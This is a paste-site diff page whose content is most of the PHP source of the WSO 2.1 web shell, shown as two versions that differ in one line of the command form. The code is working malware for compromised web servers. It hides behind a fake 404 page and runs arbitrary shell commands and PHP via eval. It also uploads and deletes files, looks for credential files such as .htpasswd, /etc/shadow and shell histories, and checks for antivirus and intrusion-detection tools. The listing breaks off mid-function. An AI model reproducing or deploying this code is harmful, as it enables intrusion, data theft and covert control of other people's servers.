Difference between
modified post 1071533 by Anonymous on Sun 19th Aug 01:55 and
original post 1071455 by Anonymous on Sat 18th Aug 05:57
Show old version | new version | both versions

    
11
<?php
22
/* WSO 2.1 (Web Shell by devilscafe.in) */
33
$auth_pass = "fbab9efee2b89cbf7d0c549cdb0ca9ba";
44
$color = "#00ff00";
55
$default_action = 'FilesMan';
66
@define('SELF_PATH', __FILE__);
77
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
88
    header('HTTP/1.0 404 Not Found');
99
    exit;
1010
}
1111
@session_start();
1212
@error_reporting(0);
1313
@ini_set('error_log',NULL);
1414
@ini_set('log_errors',0);
1515
@ini_set('max_execution_time',0);
1616
@set_time_limit(0);
1717
@set_magic_quotes_runtime(0);
1818
@define('VERSION', '2.1');
1919
if( get_magic_quotes_gpc() ) {
2020
    function stripslashes_array($array) {
2121
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
2222
    }
2323
    $_POST = stripslashes_array($_POST);
2424
}
2525
function printLogin() {
2626
    ?>
2727
<h1>Not Found</h1>
2828
<p>The requested URL was not found on this server.</p>
2929
<hr>
3030
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
3131
    <style>
3232
        input { margin:0;background-color:#fff;border:1px solid #fff; }
3333
    </style>
3434
    <center>
3535
    <form method=post>
3636
    <input type=password name=pass>
3737
    </form></center>
3838
    <?php
3939
    exit;
4040
}
4141
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
4242
    if( empty( $auth_pass ) ||
4343
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
4444
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
4545
    else
4646
        printLogin();
4848
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
4949
    $os = 'win';
5050
else
5151
    $os = 'nix';
5252
$safe_mode = @ini_get('safe_mode');
5353
$disable_functions = @ini_get('disable_functions');
5454
$home_cwd = @getcwd();
5555
if( isset( $_POST['c'] ) )
5656
    @chdir($_POST['c']);
5757
$cwd = @getcwd();
5858
if( $os == 'win') {
5959
    $home_cwd = str_replace("\\", "/", $home_cwd);
6060
    $cwd = str_replace("\\", "/", $cwd);
6161
}
6262
if( $cwd[strlen($cwd)-1] != '/' )
6363
    $cwd .= '/';
6565
if($os == 'win')
6666
    $aliases = array(
6767
        "List Directory" => "dir",
6868
        "Find index.php in current dir" => "dir /s /w /b index.php",
6969
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
7070
        "Show active connections" => "netstat -an",
7171
        "Show running services" => "net start",
7272
        "User accounts" => "net user",
7373
        "Show computers" => "net view",
7474
        "ARP Table" => "arp -a",
7575
        "IP Configuration" => "ipconfig /all"
7676
    );
7777
else
7878
    $aliases = array(
7979
          "List dir" => "ls -la",
8080
        "list file attributes on a Linux second extended file system" => "lsattr -va",
8181
          "show opened ports" => "netstat -an | grep -i listen",
8282
        "Find" => "",
8383
          "find all suid files" => "find / -type f -perm -04000 -ls",
8484
          "find suid files in current dir" => "find . -type f -perm -04000 -ls",
8585
          "find all sgid files" => "find / -type f -perm -02000 -ls",
8686
          "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
8787
          "find config.inc.php files" => "find / -type f -name config.inc.php",
8888
          "find config* files" => "find / -type f -name \"config*\"",
8989
          "find config* files in current dir" => "find . -type f -name \"config*\"",
9090
          "find all writable folders and files" => "find / -perm -2 -ls",
9191
          "find all writable folders and files in current dir" => "find . -perm -2 -ls",
9292
          "find all service.pwd files" => "find / -type f -name service.pwd",
9393
          "find service.pwd files in current dir" => "find . -type f -name service.pwd",
9494
          "find all .htpasswd files" => "find / -type f -name .htpasswd",
9595
          "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
9696
          "find all .bash_history files" => "find / -type f -name .bash_history",
9797
          "find .bash_history files in current dir" => "find . -type f -name .bash_history",
9898
          "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
9999
          "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
100100
        "Locate" => "",
101101
          "locate httpd.conf files" => "locate httpd.conf",
102102
        "locate vhosts.conf files" => "locate vhosts.conf",
103103
        "locate proftpd.conf files" => "locate proftpd.conf",
104104
        "locate psybnc.conf files" => "locate psybnc.conf",
105105
        "locate my.conf files" => "locate my.conf",
106106
        "locate admin.php files" =>"locate admin.php",
107107
        "locate cfg.php files" => "locate cfg.php",
108108
        "locate conf.php files" => "locate conf.php",
109109
        "locate config.dat files" => "locate config.dat",
110110
        "locate config.php files" => "locate config.php",
111111
        "locate config.inc files" => "locate config.inc",
112112
        "locate config.inc.php" => "locate config.inc.php",
113113
        "locate config.default.php files" => "locate config.default.php",
114114
        "locate config* files " => "locate config",
115115
        "locate .conf files"=>"locate '.conf'",
116116
        "locate .pwd files" => "locate '.pwd'",
117117
        "locate .sql files" => "locate '.sql'",
118118
        "locate .htpasswd files" => "locate '.htpasswd'",
119119
        "locate .bash_history files" => "locate '.bash_history'",
120120
        "locate .mysql_history files" => "locate '.mysql_history'",
121121
        "locate .fetchmailrc files" => "locate '.fetchmailrc'",
122122
        "locate backup files" => "locate backup",
123123
        "locate dump files" => "locate dump",
124124
        "locate priv files" => "locate priv"
125125
    );
127127
function printHeader() {
128128
    if(empty($_POST['charset']))
129129
        $_POST['charset'] = "UTF-8";
130130
    global $color;
131131
    ?>
132132
<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?>- 404 Not Found Shell V.<?=VERSION?></title>
133133
<style>
134134
    body {background-color:#000;color:#fff;}
135135
    body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
136136
    span,h1,a    { color:<?=$color?> !important; }
137137
    span        { font-weight: bolder; }
138138
    h1            { border:1px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
139139
    div.content    { padding: 5px;margin-left:5px;}
140140
    a            { text-decoration:none; }
141141
    a:hover        { background:#ff0000; }
142142
    .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
143143
    .bigarea    { width:100%;height:250px; }
144144
    input, textarea, select    { margin:0;color:#00ff00;background-color:#000;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; }
145145
    form        { margin:0px; }
146146
    #toolsTbl    { text-align:center; }
147147
    .toolsInp    { width: 80%; }
148148
    .main th    {text-align:left;}
149149
    .main tr:hover{background-color:#5e5e5e;}
150150
    .main td, th{vertical-align:middle;}
151151
    pre            {font-family:Courier,Monospace;}
152152
    #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
153153
</style>
154154
<script>
155155
    function set(a,c,p1,p2,p3,charset) {
156156
        if(a != null)document.mf.a.value=a;
157157
        if(c != null)document.mf.c.value=c;
158158
        if(p1 != null)document.mf.p1.value=p1;
159159
        if(p2 != null)document.mf.p2.value=p2;
160160
        if(p3 != null)document.mf.p3.value=p3;
161161
        if(charset != null)document.mf.charset.value=charset;
162162
    }
163163
    function g(a,c,p1,p2,p3,charset) {
164164
        set(a,c,p1,p2,p3,charset);
165165
        document.mf.submit();
166166
    }
167167
    function a(a,c,p1,p2,p3,charset) {
168168
        set(a,c,p1,p2,p3,charset);
169169
        var params = "ajax=true";
170170
        for(i=0;i<document.mf.elements.length;i++)
171171
            params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
172172
        sr('<?=$_SERVER['REQUEST_URI'];?>', params);
173173
    }
174174
    function sr(url, params) {
175175
        if (window.XMLHttpRequest) {
176176
            req = new XMLHttpRequest();
177177
            req.onreadystatechange = processReqChange;
178178
            req.open("POST", url, true);
179179
            req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
180180
            req.send(params);
181181
        }
182182
        else if (window.ActiveXObject) {
183183
            req = new ActiveXObject("Microsoft.XMLHTTP");
184184
            if (req) {
185185
                req.onreadystatechange = processReqChange;
186186
                req.open("POST", url, true);
187187
                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
188188
                req.send(params);
189189
            }
190190
        }
191191
    }
192192
    function processReqChange() {
193193
        if( (req.readyState == 4) )
194194
            if(req.status == 200) {
195195
                //alert(req.responseText);
196196
                var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
197197
                var arr=reg.exec(req.responseText);
198198
                eval(arr[2].substr(0, arr[1]));
199199
            }
200200
            else alert("Request error!");
201201
    }
202202
</script>
203203
<head><body><div style="position:absolute;width:100%;top:0;left:0;">
204204
<form method=post name=mf style='display:none;'>
205205
<input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
206206
<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
207207
<input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
208208
<input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
209209
<input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
210210
<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
211211
</form>
212212
<?php
213213
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
214214
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
215215
    $totalSpace = $totalSpace?$totalSpace:1;
216216
    $release = @php_uname('r');
217217
    $kernel = @php_uname('s');
218218
    $millink='http://milw0rm.com/search.php?dong=';
219219
    if( strpos('Linux', $kernel) !== false )
220220
        $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
221221
    else
222222
        $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
223223
    if(!function_exists('posix_getegid')) {
224224
        $user = @get_current_user();
225225
        $uid = @getmyuid();
226226
        $gid = @getmygid();
227227
        $group = "?";
228228
    } else {
229229
        $uid = @posix_getpwuid(@posix_geteuid());
230230
        $gid = @posix_getgrgid(@posix_getegid());
231231
        $user = $uid['name'];
232232
        $uid = $uid['uid'];
233233
        $group = $gid['name'];
234234
        $gid = $gid['gid'];
235235
    }
236236
    $cwd_links = '';
237237
    $path = explode("/", $GLOBALS['cwd']);
238238
    $n=count($path);
239239
    for($i=0;$i<$n-1;$i++) {
240240
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
241241
        for($j=0;$j<=$i;$j++)
242242
            $cwd_links .= $path[$j].'/';
243243
        $cwd_links .= "\")'>".$path[$i]."/</a>";
244244
    }
245245
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
246246
    $opt_charsets = '';
247247
    foreach($charsets as $item)
248248
        $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
249249
    $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
250250
    if(!empty($GLOBALS['auth_pass']))
251251
    $m['Logout'] = 'Logout';
252252
    $m['Self remove'] = 'SelfRemove';
253253
    $menu = '';
254254
    foreach($m as $k => $v)
255255
        $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
256256
    $drives = "";
257257
    if ($GLOBALS['os'] == 'win') {
258258
        foreach( range('a','z') as $drive )
259259
        if (is_dir($drive.':\\'))
260260
            $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
261261
    }
262262
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname<br>User<br>Php<br>Hdd<br>Cwd'.($GLOBALS['os'] == 'win'?'<br>Drives':'').'</span></td>'.
263263
         '<td>:<nobr>'.substr(@php_uname(), 0, 120).'  <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>:'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>:'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=<?=$color?><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>:'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>:'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>:'.$drives.'</td>'.
264264
         '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
265265
         '<table cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
266266
}
268268
function printFooter() {
269269
    $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
270270
?>
271271
</div>
272272
<table class=info id=toolsTbl cellpadding=0 cellspacing=0 width=100%">
273273
    <tr>
274274
        <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
275275
        <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
276276
    </tr>
277277
    <tr>
278278
        <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
279279
        <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
280280
    </tr>
281281
    <tr>
282-
        <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
282+
        <td><form onsubmit="g('Console',null,th.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
283283
        <td><form method='post' ENCTYPE='multipart/form-data'>
284284
        <input type=hidden name=a value='FilesMAn'>
285285
        <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
286286
        <input type=hidden name=p1 value='uploadFile'>
287287
        <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
288288
        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
289289
    </tr>
291291
</table>
292292
</div>
293293
</body></html>
294294
<?php
295295
}
296296
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
297297
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
298298
function ex($in) {
299299
    $out = '';
300300
    if(function_exists('exec')) {
301301
        @exec($in,$out);
302302
        $out = @join("\n",$out);
303303
    }elseif(function_exists('passthru')) {
304304
        ob_start();
305305
        @passthru($in);
306306
        $out = ob_get_clean();
307307
    }elseif(function_exists('system')) {
308308
        ob_start();
309309
        @system($in);
310310
        $out = ob_get_clean();
311311
    }elseif(function_exists('shell_exec')) {
312312
        $out = shell_exec($in);
313313
    }elseif(is_resource($f = @popen($in,"r"))) {
314314
        $out = "";
315315
        while(!@feof($f))
316316
            $out .= fread($f,1024);
317317
        pclose($f);
318318
    }
319319
    return $out;
320320
}
321321
function viewSize($s) {
322322
    if($s >= 1073741824)
323323
        return sprintf('%1.2f', $s / 1073741824 ). ' GB';
324324
    elseif($s >= 1048576)
325325
        return sprintf('%1.2f', $s / 1048576 ) . ' MB';
326326
    elseif($s >= 1024)
327327
        return sprintf('%1.2f', $s / 1024 ) . ' KB';
328328
    else
329329
        return $s . ' B';
330330
}
332332
function perms($p) {
333333
    if (($p & 0xC000) == 0xC000)$i = 's';
334334
    elseif (($p & 0xA000) == 0xA000)$i = 'l';
335335
    elseif (($p & 0x8000) == 0x8000)$i = '-';
336336
    elseif (($p & 0x6000) == 0x6000)$i = 'b';
337337
    elseif (($p & 0x4000) == 0x4000)$i = 'd';
338338
    elseif (($p & 0x2000) == 0x2000)$i = 'c';
339339
    elseif (($p & 0x1000) == 0x1000)$i = 'p';
340340
    else $i = 'u';
341341
    $i .= (($p & 0x0100) ? 'r' : '-');
342342
    $i .= (($p & 0x0080) ? 'w' : '-');
343343
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
344344
    $i .= (($p & 0x0020) ? 'r' : '-');
345345
    $i .= (($p & 0x0010) ? 'w' : '-');
346346
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
347347
    $i .= (($p & 0x0004) ? 'r' : '-');
348348
    $i .= (($p & 0x0002) ? 'w' : '-');
349349
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
350350
    return $i;
351351
}
352352
function viewPermsColor($f) {
353353
    if (!@is_readable($f))
354354
        return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
355355
    elseif (!@is_writable($f))
356356
        return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
357357
    else
358358
        return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
359359
}
360360
if(!function_exists("scandir")) {
361361
    function scandir($dir) {
362362
        $dh  = opendir($dir);
363363
        while (false !== ($filename = readdir($dh))) {
364364
            $files[] = $filename;
365365
        }
366366
        return $files;
367367
    }
368368
}
369369
function which($p) {
370370
    $path = ex('which '.$p);
371371
    if(!empty($path))
372372
        return $path;
373373
    return false;
374374
}
375375
function actionSecInfo() {
376376
    printHeader();
377377
    echo '<h1>Server security information</h1><div class=content>';
378378
    function showSecParam($n, $v) {
379379
        $v = trim($v);
380380
        if($v) {
381381
            echo '<span>'.$n.': </span>';
382382
            if(strpos($v, "\n") === false)
383383
                echo $v.'<br>';
384384
            else
385385
                echo '<pre class=ml1>'.$v.'</pre>';
386386
        }
387387
    }
389389
    showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
390390
    showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
391391
    showSecParam('Open base dir', @ini_get('open_basedir'));
392392
    showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
393393
    showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
394394
    showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
395395
    $temp=array();
396396
    if(function_exists('mysql_get_client_info'))
397397
        $temp[] = "MySql (".mysql_get_client_info().")";
398398
    if(function_exists('mssql_connect'))
399399
        $temp[] = "MSSQL";
400400
    if(function_exists('pg_connect'))
401401
        $temp[] = "PostgreSQL";
402402
    if(function_exists('oci_connect'))
403403
        $temp[] = "Oracle";
404404
    showSecParam('Supported databases', implode(', ', $temp));
405405
    echo '<br>';
407407
    if( $GLOBALS['os'] == 'nix' ) {
408408
        $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
409409
        $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
410410
        $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
411411
        showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
412412
        showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
413413
        showSecParam('OS version', @file_get_contents('/proc/version'));
414414
        showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
415415
        if(!$GLOBALS['safe_mode']) {
416416
            echo '<br>';
417417
            $temp=array();
418418
            foreach ($userful as $item)
419419
                if(which($item)){$temp[]=$item;}
420420
            showSecParam('Userful', implode(', ',$temp));
421421
            $temp=array();
422422
            foreach ($danger as $item)
423423
                if(which($item)){$temp[]=$item;}
424424
            showSecParam('Danger', implode(', ',$temp));
425425
            $temp=array();
426426
            foreach ($downloaders as $item)
427427
                if(which($item)){$temp[]=$item;}
428428
            showSecParam('Downloaders', implode(', ',$temp));
429429
            echo '<br/>';
430430
            showSecParam('Hosts', @file_get_contents('/etc/hosts'));
431431
            showSecParam('HDD space', ex('df -h'));
432432
            showSecParam('Mount options', @file_get_contents('/etc/fstab'));
433433
        }
434434
    } else {
435435
        showSecParam('OS Version',ex('ver'));
436436
        showSecParam('Account Settings',ex('net accounts'));
437437
        showSecParam('User Accounts',ex('net user'));
438438
    }
439439
    echo '</div>';
440440
    printFooter();
441441
}
443443
function actionPhp() {
444444
    if( isset($_POST['ajax']) ) {
445445
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
446446
        ob_start();
447447
        eval($_POST['p1']);
448448
        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
449449
        echo strlen($temp), "\n", $temp;
450450
        exit;
451451
    }
452452
    printHeader();
453453
    if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
454454
        echo '<h1>PHP info</h1><div class=content>';
455455
        ob_start();
456456
        phpinfo();
457457
        $tmp = ob_get_clean();
458458
        $tmp = preg_replace('!body {.*}!msiU','',$tmp);
459459
        $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
460460
        $tmp = preg_replace('!h1!msiU','h2',$tmp);
461461
        $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
462462
        $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
463463
        echo $tmp;
464464
        echo '</div><br>';
465465
    }
466466
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
467467
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
468468
        echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
469469
    echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
470470
    if(!empty($_POST['p1'])) {
471471
        ob_start();
472472
        eval($_POST['p1']);
473473
        echo htmlspecialchars(ob_get_clean());
474474
    }
475475
    echo '</pre></div>';
476476
    printFooter();
477477
}
479479
function actionFilesMan() {
480480
    printHeader();
481481
    echo '<h1>File manager</h1><div class=content>';
482482
    if(isset($_POST['p1'])) {
483483
        switch($_POST['p1']) {
484484
            case 'uploadFile':
485485
                if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
486486
                    echo "Can't upload file!";
487487
                break;
488488
                break;
489489
            case 'mkdir':
490490
                if(!@mkdir($_POST['p2']))
491491
                    echo "Can't create new dir";
492492
                break;
493493
            case 'delete':
494494
                function deleteDir($path) {
495495
                    $path = (substr($path,-1)=='/') ? $path:$path.'/';
496496
                    $dh  = opendir($path);
497497
                    while ( ($item = readdir($dh) ) !== false) {
498498
                        $item = $path.$item;
499499
                        if ( (basename($item) == "..") || (basename($item) == ".") )
500500
                            continue;
501501
                        $type = filetype($item);
502502
                        if ($type == "dir")
503503
                            deleteDir($item);
504504
                        else
505505
                            @unlink($item);
506506
                    }
507507
                    closedir($dh);
508508
                    rmdir($path);
509509
                }
510510
                if(is_array(@$_POST['f']))
511511
                    foreach($_POST['f'] as $f) {
512512
                        $f = urldecode($f);
513513
                        if(is_dir($f))
514514
                            deleteDir($f);
515515
                        else
516516
                            @unlink($f);
517517
                    }
518518
                break;
519519
            case 'paste':
520520
                if($_SESSION['act'] == 'copy') {
521521
                    function copy_paste($c,$s,$d){
522522
                        if(is_dir($c.$s)){
523523
                            mkdir($d.$s);
524524
                            $h = opendir($c.$s);
525525
                            while (($f = readdir($h)) !== false)
526526
                                if (($f != ".") and ($f != "..")) {
527527
                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
528528
                                }
529529
                        } elseif(is_file($c.$s)) {
530530
                            @copy($c.$s, $d.$s);
531531
                        }
532532
                    }
533533
                    foreach($_SESSION['f'] as $f)
534534
                        copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
535535
                } elseif($_SESSION['act'] == 'move') {
536536
                    function move_paste($c,$s,$d){
537537
                        if(is_dir($c.$s)){
538538
                            mkdir($d.$s);
539539
                            $h = opendir($c.$s);
540540
                            while (($f = readdir($h)) !== false)
541541
                                if (($f != ".") and ($f != "..")) {
542542
                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
543543
                                }
544544
                        } elseif(is_file($c.$s)) {
545545
                            @copy($c.$s, $d.$s);
546546
                        }
547547
                    }
548548
                    foreach($_SESSION['f'] as $f)
549549
                        @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
550550
                }
551551
                unset($_SESSION['f']);
552552
                break;
553553
            default:
554554
                if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
555555
                    $_SESSION['act'] = @$_POST['p1'];
556556
                    $_SESSION['f'] = @$_POST['f'];
557557
                    foreach($_SESSION['f'] as $k => $f)
558558
                        $_SESSION['f'][$k] = urldecode($f);
559559
                    $_SESSION['cwd'] = @$_POST['c'];
560560
                }
561561
                break;
562562
        }
563563
        echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
564564
    }
565565
    $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
566566
    if($dirContent === false) {    echo 'Can\'t open this folder!'; return;    }
567567
    global $sort;
568568
    $sort = array('name', 1);
569569
    if(!empty($_POST['p1'])) {
570570
        if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
571571
            $sort = array($match[1], (int)$match[2]);
572572
    }
573573
?>
574574
<script>
575575
    function sa() {
576576
        for(i=0;i<document.files.elements.length;i++)
577577
            if(document.files.elements[i].type == 'checkbox')
578578
                document.files.elements[i].checked = document.files.elements[0].checked;
579579
    }
580580
</script>
581581
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
582582
<form name=files method=post>
583583
<?php
584584
    echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
585585
    $dirs = $files = $links = array();
586586
    $n = count($dirContent);
587587
    for($i=0;$i<$n;$i++) {
588588
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
589589
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
590590
        $tmp = array('name' => $dirContent[$i],
591591
                     'path' => $GLOBALS['cwd'].$dirContent[$i],
592592
                     'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
593593
                     'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
594594
                     'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
595595
                     'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
596596
                     'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
597597
                    );
598598
        if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
599599
            $files[] = array_merge($tmp, array('type' => 'file'));
600600
        elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
601601
            $links[] = array_merge($tmp, array('type' => 'link'));
602602
        elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
603603
            $dirs[] = array_merge($tmp, array('type' => 'dir'));
604604
    }
605605
    $GLOBALS['sort'] = $sort;
606606
    function cmp($a, $b) {
607607
        if($GLOBALS['sort'][0] != 'size')
608608
